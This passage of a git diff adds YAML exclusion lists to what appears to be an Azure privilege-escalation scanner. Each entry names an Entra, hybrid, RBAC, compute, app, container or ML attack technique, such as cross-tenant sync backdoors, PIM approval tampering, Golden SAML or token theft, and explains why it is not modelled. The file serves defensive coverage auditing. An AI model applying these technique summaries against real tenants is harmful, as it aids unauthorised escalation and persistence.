edge." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-access-settings + technique: Cross-tenant access settings abuse + source_revision: 171e422 + reason: "Policy that relaxes inbound trust (MFA/device claims); a bypass, no new principal." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-synchronization + technique: Cross-tenant synchronization backdoor + source_revision: 171e422 + reason: "Persistence across tenants; the source tenant is out of the scanned graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#noauth-and-foci + technique: nOAuth and FOCI token reuse + source_revision: 171e422 + reason: "Application-side identity confusion / token reuse by the same principal; not expressible from tenant configuration." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#workload-identity-federation-cross-cloud-confused-deputy + technique: Workload identity federation confused deputy + source_revision: 171e422 + reason: "External-IdP trust; adding a FIC is covered by the application/SP credential-update entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + technique: Cross-tenant resource and service sharing + source_revision: 171e422 + reason: "Data-plane sharing (Key Vault, SQL, Cosmos, storage) owned by the resource groups of the catalog; no Entra identity edge." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml new file mode 100644 index 0000000000..6a5622e220 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml @@ -0,0 +1,103 @@ +# Azure privesc completeness audit (g1-entra): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicelocalcredentialspasswordread + technique: deviceLocalCredentials/password/read (Windows LAPS) + source_revision: a66f094ede + reason: Duplicate of azure-intune-laps-local-admin-device-user (same permission; local admin on the device leads to the session of its users). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: Self-activate an eligible Azure resource (RBAC) role via roleAssignmentScheduleRequests SelfActivate + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#azure-rbac-pim-eligibility - the directory-role half is modelled by azure-entraid-pim-eligible-role-activation, but + there is no requirement kind or selector for Azure resource role eligibility schedules (Microsoft.Authorization/roleEligibilityScheduleInstances).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + technique: Blueprint owner / sponsor reaching the blueprint's child agent identities + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#agent-blueprint-owner-child-identities - owners reach the blueprint principal through azure-entraid-app-owner-credentials, + but no selector restricts entra_agent_blueprint_principal_or_child_identity to blueprints the source owns or sponsors.' +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#change-user-password + technique: Reset another user's password + source_revision: a66f094ede + reason: Duplicate of azure-entraid-reset-password-password-admin, azure-entraid-reset-password-helpdesk-admin, azure-entraid-reset-password-user-admin, azure-entraid-reset-credentials-authentication-admin + and azure-entraid-reset-credentials-privileged-auth-admin (the role-specific reset matrix). +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#service-principals + technique: Owner or Graph-permitted principal adds a client secret to service principals / apps + source_revision: a66f094ede + reason: Duplicate of azure-entraid-sp-owner-credentials, azure-entraid-sp-credentials-update, azure-entraid-app-credentials-update and azure-entraid-graph-application-readwrite-all. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#weaken-the-gate-so-activation-stays-silent + technique: roleManagementPolicies/write removes MFA, approval and notifications + source_revision: a66f094ede + reason: Enabler only; the role is still obtained through an eligibility (azure-entraid-pim-eligible-role-activation). Privileged Role Administrator already reaches + every role via azure-entraid-role-assignment-manage. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#self-approval-loop + technique: Configure a controlled second principal as PIM approver + source_revision: a66f094ede + reason: Persistence of already-held rights; needs roleManagementPolicies/write (Privileged Role Administrator, already modelled by azure-entraid-role-assignment-manage) + and a second controlled principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#plant-eligible-assignments + technique: roleEligibilityScheduleRequests AdminAssign + source_revision: a66f094ede + reason: Needs the same rights as an active assignment - Privileged Role Administrator / RoleManagement.ReadWrite.Directory (azure-entraid-role-assignment-manage, + azure-entraid-graph-rolemanagement-readwrite-directory) or Owner / User Access Administrator (azure-authorization-roleassignments-write); persistence variant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#pim-for-groups-as-durable-indirect-privilege + technique: Eligible PIM for Groups membership on a role-assignable group + source_revision: a66f094ede + reason: Duplicate of azure-entraid-graph-pim-groups-eligibility, azure-entraid-graph-pim-groups-active-assignment and azure-entraid-pim-group-eligible-activation; + the policy-write variant is an enabler. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#connectedorganization-standing-backdoor-persistence + technique: connectedOrganization + no-approval access package for an external tenant + source_revision: a66f094ede + reason: Persistence for identities outside the scanned tenant; the required Identity Governance Administrator / EntitlementManagement.ReadWrite.All already reaches + the catalog groups and roles in azure-entraid-entitlement-catalog-self-grant-group / -role. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#backdoor-approver--policy-tamper-on-existing-packages-persistence + technique: Add self as approver / remove approval on an existing access package + source_revision: a66f094ede + reason: Duplicate of azure-entraid-entitlement-catalog-self-grant-group and azure-entraid-entitlement-catalog-self-grant-role (same catalog roles, same reached + resources); persistence variant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#self-healing-persistence--defense-evasion-via-configuration-profiles + technique: Re-applied Intune configuration profiles / scripts + source_revision: a66f094ede + reason: Persistence of the same capability modelled by azure-intune-managed-device-user-code-execution (DeviceManagementConfiguration / DeviceManagementScripts + ReadWrite.All). +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#recurring-rce-via-proactive-remediations-persistence + technique: Scheduled SYSTEM execution via deviceHealthScripts + source_revision: a66f094ede + reason: Duplicate of azure-intune-managed-device-user-code-execution (DeviceManagementScripts.ReadWrite.All is one of its alternatives); recurring execution is + persistence. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#loot-secrets-from-existing-deployed-scripts-read-only + technique: Read scriptContent of deployed Intune scripts for embedded credentials + source_revision: a66f094ede + reason: Depends on secret content inside scripts (runtime data never read by the scanner); there is no secret-holder mapping for Intune scripts, so no target principal + can be derived. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#fleet-destruction--dos-via-privileged-device-actions + technique: Wipe / retire / lock managed devices + source_revision: a66f094ede + reason: Availability impact (DoS); grants no principal's privileges. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#foci-tokens-privilege-escalation + technique: FOCI refresh-token reuse across family clients + source_revision: a66f094ede + reason: The same user obtains tokens for other first-party clients and scopes; bounded by that user's own permissions, so no other principal's privileges are gained. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#the-role-assignment-primitive + technique: roleAssignments/write at a scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#global-administrator--root-scope-takeover-elevateaccess + technique: Global Administrator elevateAccess to root scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-elevateaccess-global-admin (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-scope-one-assignment-many-subscriptions + technique: Management-group-scoped role assignment + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (scope inheritance is evaluated for every Azure scope). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#azure-lighthouse-durable-cross-tenant-control-plane-access + technique: Lighthouse registrationDefinitions / registrationAssignments to an attacker tenant + source_revision: a66f094ede + reason: Onboarding needs Owner-level rights at the scope (already scope owner via azure-authorization-roleassignments-write); the beneficiary principals live in + a managing tenant outside the scanned graph (persistence). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#subscription-to-tenant-transfer-re-homing + technique: Change a subscription's directory + source_revision: a66f094ede + reason: Needs a directly assigned subscription Owner (already scope owner); moves resources to another tenant and deletes RBAC - exfiltration/DoS, no principal + gained in the scanned tenant. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-hierarchy-settings-tamper-default-mg-hijack + technique: managementGroups/settings/write default-MG hijack + source_revision: a66f094ede + reason: Only subscriptions created after the change inherit the attacker MG's assignments (future state); no existing principal or scope is reached at scan time. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml new file mode 100644 index 0000000000..9228374dc4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml @@ -0,0 +1,80 @@ +# Azure privesc completeness audit (g2-hybrid): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md#pivoting + technique: PTA agent backdoor on the sync host, or rogue PTA agent registered by a Global Administrator + source_revision: a66f094ede + reason: Agent backdoor needs local administrator on the on-prem PTA host (outside the cloud graph); registering a rogue agent needs Global Administrator, which + already reaches every user, so it adds only credential harvesting (persistence of held privileges). +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-connectsyncprovisioning_connectsync_ + technique: ConnectSyncProvisioning application certificate theft and key addition + source_revision: a66f094ede + reason: Requires stealing the application certificate from the sync server process (host compromise); the application has no directory roles and its sync-API abuse + is undocumented, so there is no configuration-derived edge. Adding keys afterwards is persistence of the same identity. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-msol_ + technique: MSOL_ connector account DCSync + source_revision: a66f094ede + reason: MSOL_ is an on-prem AD account and the target is the on-prem domain; outside the cloud principal graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#modify-federation-configuration-via-exchange + technique: Federation configuration changes with Exchange hybrid first-party tokens + source_revision: a66f094ede + reason: Source is on-prem Exchange server compromise and the Exchange token permissions are documented as removed; the cloud-side federation change by tenant principals + is azure-entraid-domain-federation-backdoor. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#on-prem---cloud-via-resource-based-constrained-delegation + technique: Seamless SSO via RBCD on AZUREADSSOACC$ + source_revision: a66f094ede + reason: Requires write access to the on-prem AZUREADSSOACC$ computer object; source is on-prem AD. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#creating-kerberos-tickets-for-cloud-only-users + technique: Kerberos tickets for cloud-only users via Seamless SSO + source_revision: a66f094ede + reason: Documented as no longer working (struck through on the page) and requires the on-prem AZUREADSSOACC$ key. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#recover-the-active-ad-fs-key-through-machine-dpapi + technique: AD FS token-signing key recovery through machine DPAPI + source_revision: a66f094ede + reason: Requires administrator on the on-prem AD FS server; source is outside the cloud graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#aws--ad-fs--golden-saml + technique: Golden SAML into AWS through AD FS + source_revision: a66f094ede + reason: Requires the on-prem AD FS signing key; the AWS SAML trust side is modelled by the AWS catalog, not from Azure configuration. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#abusing-protected-prts + technique: Requesting tokens through the Windows token broker with a TPM-protected PRT + source_revision: a66f094ede + reason: Needs code execution in the user's session on a joined device (runtime host state); the same user's privileges are reused. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#phishing-prts + technique: Device-code phishing with the broker client to obtain a PRT + source_revision: a66f094ede + reason: Requires the victim to complete an interactive sign-in (phishing); not derivable from the source principal's permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#local-token-storage-and-security-considerations + technique: Azure CLI / PowerShell token caches on a host + source_revision: a66f094ede + reason: Needs file or memory access on a host where the user signed in (runtime host state); same principal reused. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#secrets-in-azure-enumeration-artifacts + technique: Application secrets left in enumeration output files + source_revision: a66f094ede + reason: Secret discovery in local files is runtime host state, not configuration; credential reuse of the leaked application is not a permission edge. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#tokens-in-memory + technique: Tokens extracted from process memory + source_revision: a66f094ede + reason: Needs memory access on a host (runtime state); same principal reused. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-registering-a-device-with-sso-tokens + technique: Registering a device with stolen SSO tokens (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required stolen tokens of the same user. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwriting-a-device-ticket + technique: Overwriting a device transport key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability in device registration. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwrite-whfb-key + technique: Overwriting a Windows Hello for Business key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability and a token of the same user (persistence, not escalation). +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#reusable-workflows-and-job_workflow_ref-scoping + technique: Federated credential subjects scoped to reusable workflows + source_revision: a66f094ede + reason: The source is an external GitHub workflow identity, not a tenant principal; the FIC subject is not matched against repository contents in the snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#code-execution-vectors-that-bypass-job_workflow_ref-protections + technique: Code execution in CI that satisfies a federated credential subject + source_revision: a66f094ede + reason: Needs write or pull-request access to an external repository and its workflow contents; outside the Azure configuration graph. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#terraform-plan-as-an-execution-primitive-in-prs + technique: Terraform plan in pull requests as a CI execution primitive + source_revision: a66f094ede + reason: Needs pull-request access to an external repository; outside the Azure configuration graph. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml new file mode 100644 index 0000000000..b1bbe066cf --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml @@ -0,0 +1,22 @@ +# Azure privesc completeness audit (g3-rbac-control): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: keys/sign (and keys/decrypt) forging artefacts for non-Entra consumers + source_revision: a66f094ede + reason: Forging JWT/SAML/code-signing artefacts trusted by a custom application is application-level trust abuse, and key usage by consumers is not collected. The + Entra service-principal certificate case (client assertion signed by a vault key) is modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: BloodHound AZGetKeys (keys/read) + source_revision: a66f094ede + reason: Key get returns only the public portion of a key; private key material is never exported by the key API. The identity risk is secrets/get and certificate + private keys (returned through the secret), already modelled by azure-keyvault-secret-read-sp-credentials, and signing, modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#compromising-state-configuration + technique: Azure Automation State Configuration (DSC) configuration push to registered nodes + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G3-rbac-control-proposals.md#automation-dsc-node-host-link. configurations/write + compilationjobs/write + nodeConfigurations/write runs + SYSTEM code on every DSC node of the account (and thus their managed identities), but the evaluator has no host link from an Automation account to its DSC nodes + (azure_host_linked_to_pivot only knows automation_hybrid_worker). The VM DSC extension route is already modelled in virtual_machines.yaml.' +- source: src/pentesting-cloud/azure-security/az-services/az-misc.md#power-apps + technique: Reuse a broadly shared Power Apps on-premises SQL connection through Power Query + source_revision: a66f094ede + reason: Power Platform connection sharing and on-premises data gateways are not part of the Azure/Entra snapshot, and the gain is the on-premises SQL login behind + the connection, not an Azure/Entra principal. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml new file mode 100644 index 0000000000..ec78a2a0be --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml @@ -0,0 +1,18 @@ +# Azure privesc completeness audit (g4-compute): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + technique: Cluster / admin client certificate theft from Key Vault + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G4-compute-proposals.md#service-fabric-cluster-certificate-vault (Key Vault secret Get on the vault holding the cluster certificate gives + Service Fabric admin and then node code execution; the evaluator has no link from a vault to the Service Fabric cluster whose certificate it stores). The node-foothold + route is azure-servicefabric-application-deploy-node-identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountswrite--re-enable-sharedkey-auth-re-point-auto-storage-attach-account-identity + technique: Batch account write + source_revision: a66f094ede + reason: Re-enabling SharedKey only lifts the shared_key_auth_mode condition of azure-batch-shared-key-task-submission (listkeys/regeneratekeys still required); + auto-storage repoint is storage tampering; the account-level identity is used by the service (CMK, auto-storage) and is not exposed to node code. Pool identity + paths are azure-batch-pool-write-starttask and azure-batch-pool-write-assign-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#fleet-wide-persistence-via-azure-policy--guest-configuration + technique: Fleet-wide persistence via Azure Policy + guest configuration + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (the documented set includes roleAssignments/write, which already grants any role at that scope); + the per-machine gain is azure-guestconfiguration-assignment-write / -arc. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml new file mode 100644 index 0000000000..9a637bfba2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml @@ -0,0 +1,27 @@ +# Azure privesc completeness audit (g5-apps): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfiglistaction + technique: App settings / connection strings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-publishing-credentials-basic-auth-enabled and azure-appservice-publishing-credentials-enable-basic-auth (publishing credentials), + azure-appservice-easyauth-client-secret (service-principal secrets in settings) and azure-functions-config-list-storage-key (content storage key); all include + config/list/action. Other settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction-microsoftwebsitesslotsconfigsnapshotslistsecretsaction + technique: Config snapshot listSecrets (site and slot) + source_revision: a66f094ede + reason: Duplicate of azure-appservice-easyauth-client-secret and azure-functions-config-list-storage-key, whose any_of include config/snapshots/listsecrets/action + and slots/config/snapshots/listsecrets/action. Other historical settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotsconfiglistaction + technique: Slot app settings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-slot-publishxml (slot publishing credentials), azure-functions-config-list-storage-key (storage key) and azure-appservice-easyauth-client-secret + (stored SP secrets); all include slots/config/list/action as an any_of alternative. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendswrite + technique: Backend URL/credential redirect + source_revision: a66f094ede + reason: The Named Value header capture is duplicate of azure-apim-named-value-secret (backends/write any_of alternative); redirecting the backend URL alone is traffic + interception of unknown content with no identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#read-logic-app-trigger-and-integration-account-callback-urls + technique: Read Logic App trigger and integration-account callback URLs + source_revision: a66f094ede + reason: Runs the existing, unmodified workflow definition only (confused deputy), like the excluded listCallbackUrl actions of az-logic-apps-privesc.md; integration-account + URLs are artifact content reads. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml new file mode 100644 index 0000000000..c9b6e480d9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml @@ -0,0 +1,50 @@ +# Azure privesc completeness audit (g6-containers): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentsdaprcomponentswrite---redirect-a-future-dapr-operation + technique: Dapr component write (blind redirect of a future Dapr operation) + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Redirects future state/pub-sub/binding data flows to an attacker destination; any identity effect depends on what the app later does through the component + (application logic), not on RBAC. Component listSecrets is modelled by azure-containerapp-dapr-component-list-secrets. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#namespace-scoped-kubernetes-writer-secret-reads + technique: Namespace-scoped RBAC Writer / Arc Writer / Fleet Writer generic Secret read + source_revision: a66f094ede + reason: 'A generic Secret read is data disclosure. Modern projected ServiceAccount tokens are not automatically stored in Secret objects. A principal edge would require a verified usable credential in the exact Secret, an accepted named subject, and additional effective permissions; Azure currently lacks this Secret-to-subject evidence join.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: Namespace-scoped AKS RBAC Writer creates a Pod as a more privileged ServiceAccount + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#azure-k8s-service-account-targets. A true path exists when the Azure RBAC data action permits Pod creation, the Pod is admitted and scheduled with an exact ServiceAccount, and that account has newly reachable permissions. The Azure catalog has no Azure resource-to-Kubernetes ServiceAccount and admission join, so the generic Writer role alone cannot emit an exact target edge.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Fleet Manager member data actions (fleets/members/.../bind, escalate, impersonate, exec) across member clusters + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The actions are granted on the fleet member resource, not the member cluster, and no + placeholder maps a cluster target to its fleet membership.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: fleets/listCredentials (fleet hub kubeconfig) + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The hub kubeconfig is an Entra exec-plugin credential; member-cluster control also + needs the fleet member data actions, whose cluster mapping is not expressible.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: Connected (Arc) and provisioned (AKS Arc) cluster user-credential actions + source_revision: a66f094ede + reason: The connected/provisioned listClusterUserCredential(s) actions return an Entra- or caller-token-bound kubeconfig whose authority is the caller's own Kubernetes + RBAC; no other principal's privileges. The provisioned admin credential is modelled by azure-hybrid-k8s-list-cluster-admin-credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO hosted control plane (hcpOpenShiftClusters) externalAuths/write attacker OIDC provider + source_revision: a66f094ede + reason: Preview surface; an attacker-controlled identity provider yields cluster privileges only when its mapped users/groups hold OpenShift RBAC, and neither the + external auth configuration nor the claim mapping is collected (same reasoning as the AKS external OIDC exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: Trusted Access role binding — service identity access through the AKS gateway (`trustedAccessRoleBindings/write`) + source_revision: a66f094ede + reason: The binding grants a predefined Trusted Access role to another resource's system-assigned identity; the source gains cluster access only if it already controls + that resource's behaviour (page), and the Trusted Access role permissions are not collected. Persistence of an already-held foothold. +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#spring-apps + technique: Attach an identity and grant it RBAC; keep the test endpoint and key + source_revision: a66f094ede + reason: Identity attachment plus roleAssignments/write is persistence of privileges the source already holds (role assignment write is modelled by the authorization + entries; identity attach by azure-springapps-app-write-user-assigned-identity). The test endpoint key gives unauthenticated app HTTP reach only (see the listTestKeys + exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#code-and-artifact-backdoors + technique: Config-server repo poisoning, custom builder / buildpack binding, Eureka service registry poisoning + source_revision: a66f094ede + reason: Configuration and discovery poisoning or build-time tampering of future builds; the result depends on application behaviour and later build activity, not + RBAC. The malicious deployment bullet is modelled by azure-springapps-deployment-write-app-identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml new file mode 100644 index 0000000000..01f5991985 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml @@ -0,0 +1,122 @@ +# Azure privesc completeness audit (g7-data-ai): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#attached-compute-credential-theft-with-computeslistkeysaction + technique: computes/listKeys on attached compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#ml-attached-compute-listkeys (needs a link from an ML attached compute''s resourceId to the AKS cluster-admin / VM + / Databricks target).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#notebook-credential-theft-with-read-only-verbs-listnotebookkeys--listnotebookaccesstoken + technique: listNotebookKeys / listNotebookAccessToken + source_revision: a66f094ede + reason: Notebook file-store access (data); secrets embedded in notebooks are content-dependent. Planting a poisoned notebook needs another user to open and run + it (victim interaction, not derivable from configuration). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceslistkeysaction-and-microsoftmachinelearningservicesworkspacesliststorageaccountkeysaction + technique: Workspace listKeys / listStorageAccountKeys + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-linked-keys-workload-poisoning (both actions as any_of alternatives); direct key use is data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceshubswrite-microsoftmachinelearningservicesworkspaceswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to AI Hub / workspace + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-uami-attach-serverless-job (attach + serverless job). Options 1-3 are covered by azure-ml-online-endpoint-create-with-user-assigned-identity, + azure-ml-jobs-write-compute-identity and azure-ml-compute-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistadminkeysaction--microsoftsearchsearchservicesregenerateadminkeyaction + technique: AI Search admin keys + source_revision: a66f094ede + reason: Identity path covered by azure-ai-search-skillset-write-identity-token (listAdminKeys / regenerateAdminKey any_of alternatives); document dump/poisoning + is data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#self-hosted-ir-key-rotation-connection-recon-and-cross-factory-sharing + technique: SHIR regenerateauthkey / getconnectioninfo / linkedIntegrationRuntime + source_revision: a66f094ede + reason: regenerateauthkey is covered by azure-datafactory-rogue-shir-linked-service-credentials (any_of alternative). getconnectioninfo is reconnaissance only; + linkedIntegrationRuntime shares the runtime's network position into another factory, where activities use that factory's own credentials (no identity gain). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pivot-through-blob-backed-pipeline-configuration-without-data-factory-permissions + technique: Poison blob-backed pipeline configuration + source_revision: a66f094ede + reason: Covered by azure-storage-blob-poisoning-consumer (azure_consumer_of_pivot storage_content reaches the factory identity reading the blob); linked-service + credentials used by the run are not an identity edge. +- source: 